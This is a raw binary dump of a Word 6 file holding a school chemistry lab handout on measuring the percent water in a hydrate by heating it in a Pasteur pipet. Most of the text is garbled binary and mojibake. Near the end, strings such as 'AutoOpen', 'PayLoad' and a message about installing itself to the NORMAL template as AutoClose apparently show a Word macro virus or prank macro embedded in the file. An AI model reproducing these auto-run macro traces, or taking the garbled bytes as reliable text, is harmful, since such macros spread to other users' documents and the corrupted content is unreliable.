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GSp x3Science F:Microsoft Office:Microsoft Word 6:NormalLAB: TITLE OF LABsciencescience'@pTW@>y@@Microsoft Word 6.0.114ࡱ; SummaryInformation(ϥȂ&͔ކȂӆȆÆՆÆԆϥϥmʧɤ͓ކ҆džÊɆÆ҆ÆՆÄɤmʧͩӆɤͭÆ҆ɤ͆ކÆ߆„ɤϮɤɤͭɆͺÆ҆ÊʆՆɤ́ކՆÆȆ҆҆҆фɤ͸ކ͆ԆȈɤ͂ȂÂԄɤʹȂȂɤ̓ކՆÆՆՆˆɤ͢ɥͶՆɥ̓ކՆɆÄɥϮɥɥͭÆɥ͆ކÆ߆„ɥͪɆɤͣàĿ¼½Ϯ'ʦՆՊ҆†Æ†ԆԆȆÆՈÆ߆҆҆ɆÆȆՊ͓ÆҁՆÉʆ҉ϣϬգ̢޴̮ȠϣϬգ̯ô̢ޠϣϬգ̮Ŵ̢Ѡ͖놛ՎԄԄ͔놛ՎԄԄ'ʧ¼͔ȆȆʆÆΆɆºϬգϫÂϨÂϢȂ&ͬ҆Ȃ͂ȂÂÂȂ†Ȃ҆ȄȁφÂȄԆÂÄͨɆͣͩȆɤd&̡ʜϫÂɤϢȂ̧ϨÂɤͫɆů͠†͠†͎߆ȂÂͼʜÂͶʆϬժʧͲŜ҆¼ºϮϯԪ&ʧͩƅϣҪʧϯͷՆՆϠ҂&ϣҴʧϠ҂̢ѸɥͿކ߆„ɥϮʧɥʹކ҆҄€¼߻Ķے۫Ӹ-_ڸ(_ٻ¶۫ӳ۶۫ӳݶ۬ĻĶی޳ͳ͵шݸ_ͳͳͳ͵ʋݸ_ͳ^ͳGͳ͵ͩڏݸ_ͳͳͳ͵Ηܻ޻ܻVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVܥhO e 2 ,,,,,,,4V-V-V-V-V-n- x-V-1e--------0111111&2Xt231,--@---1-,,------,-,-0- -6,,,,-0-<-Lab: Percent Water in a Hydrate  Introduction Many ionic compounds take up water in definite proportions when they crystallize from water solution. This water of crystallization may be driven off by the application of heat. The purpose of this lab will be to decompose a hydrate , determine the percentage of water in the hydrate and to determine if the substance is , in fact, a compound. MATERIALS: Pasteur pipet wire gauze ringstand bunsen burner iron ring hydrate Procedure 1. Obtain a glass Pasteur pipet with a short tip. Determine the mass of the pipet to the nearest 0.01 g. Record its weight. 2. Place the wide end of the pipet into the beaker of hydrate. Pack some hydrate into the end of the pipet. Lifting the pipet to a horizontal position, gently tap the pipet until the hydrate is spread out fairly evenly through the middle of the pipet. Now determine the mass of the pipet and the hydrate. Record this mass. 3. Assemble a heating setup. Obtain a ring stand. Put an iron ring on the stand and place a wire gauze on the ring. Place a bunsen burner underneath the setup. 4. Place the pipet with the hydrate on the gauze. 5. Light your bunsen burner. Move the burner slowly and constantly from the wide end of the pipet to the narrow end. Do not linger,especially at the narrow end ,or the pipet will melt. 6. When it appears that no further change is occurring, stop heating and let the glass pipet cool for at least 5 minutes. (CAUTION:remember that hot and cold glass look the same.) 7. Mass the anhydrous material and pipet to the nearest 0.01 g and record this final mass. 8. After you have recorded this final mass, add a little water to the pipet. Carefully observe the contents of the pipet. Carefully touch the side of the pipet. 9. Clean the pipet with water and return it to your teacher. Data DATA TABLE MASS OF GLASS PIPET  MASS OF PIPET + HYDRATE  MASS OF PIPET + ANHYDRIDE  Calculations 1. Determine the mass of the hydrate: [(pipet + hydrate) - (pipet) ] 2. Determine the mass of the anhydrous material: [(pipet+ anhydride) - (pipet)] 3. Determine the mass of water lost from the hydrate. (hydrate) - (anhydride) 4. Determine the percentage of water in the hydrate: mass of water lost x 100% mass of hydrate 5. Make a chart. Label it class data. Record the percentages of all lab groups in your class and any others your teacher may provide. Analysis 1. Analyze the class data. Keep in mind the purpose of this lab when you do so. COMPOSITON Name: _______________________ Partner #1: _______________________ Partner #2: _______________________ Acton-Boxborough Regional High School Due Date: ______________________ Acton-Boxborough Regional High School ?i_CLh |HH(EG(HH(d'p|HH(EG(HH(d'p |HHO[G(HH(d'p 00&ta0`0(00&00&00&00&00&½ϢϣͪϮϣͪʦɤ͖ކdžɆÊȆÆՆՆԄɤʹҁ҆ɤϠɤ͉ކɆÊȆÆՆՆԆɤ̈́ɆÆ҆Æ҆цɤͪÆÆͯ͡¼½Ϡͱ҆ÆÆVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV !"#E F    V"uU]cU]cU]]]^]uD]a UZ]c( "018s`O `  B C D E K L M \ ] q r s $$$$$$$$$$$$$$$$$$$$h's t u  ] ^ _ `    p  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$hl H$( 6 [ $$ 0 !l h !s0h !sh K@Normal]a "A@"Default Paragraph Font @ Header ! @ Footer !*O"* Chem HeaderL UZ]cE 1E tV"s   "E  =m<science0Science F:Teacher Folders:Murphree:WATER/HYDRATEscience0Science F:Teacher Folders:Murphree:WATER/HYDRATEscience0Science F:Teacher Folders:Murphree:WATER/HYDRATEscience0Science F:Teacher Folders:Murphree:WATER/HYDRATEscience0Science F:Teacher Folders:Murphree:WATER/HYDRATEscience0Science F:Teacher Folders:Murphree:WATER/HYDRATEscience0Science F:Teacher Folders:Murphree:WATER/HYDRATEscience0Science F:Teacher Folders:Murphree:WATER/HYDRATEscience0Science F:Teacher Folders:Murphree:WATER/HYDRATEscience0Science F:Teacher Folders:Murphree:WATER/HYDRATEUUUVUVUV?1?UVppAutoOpenCfxxuInstalled to your NORMAL template as AutoClose to clean the prank macros from any documents that you open then close.ShowAAAZAOAAAZFSPayLoadCFXXSHOW    @eMTimes New Roman Symbol MArialMPalatino MTimesMNew Century Schlbk"1h8)&)&)&3LAB: TITLE OF LABsciencescienceࡱ;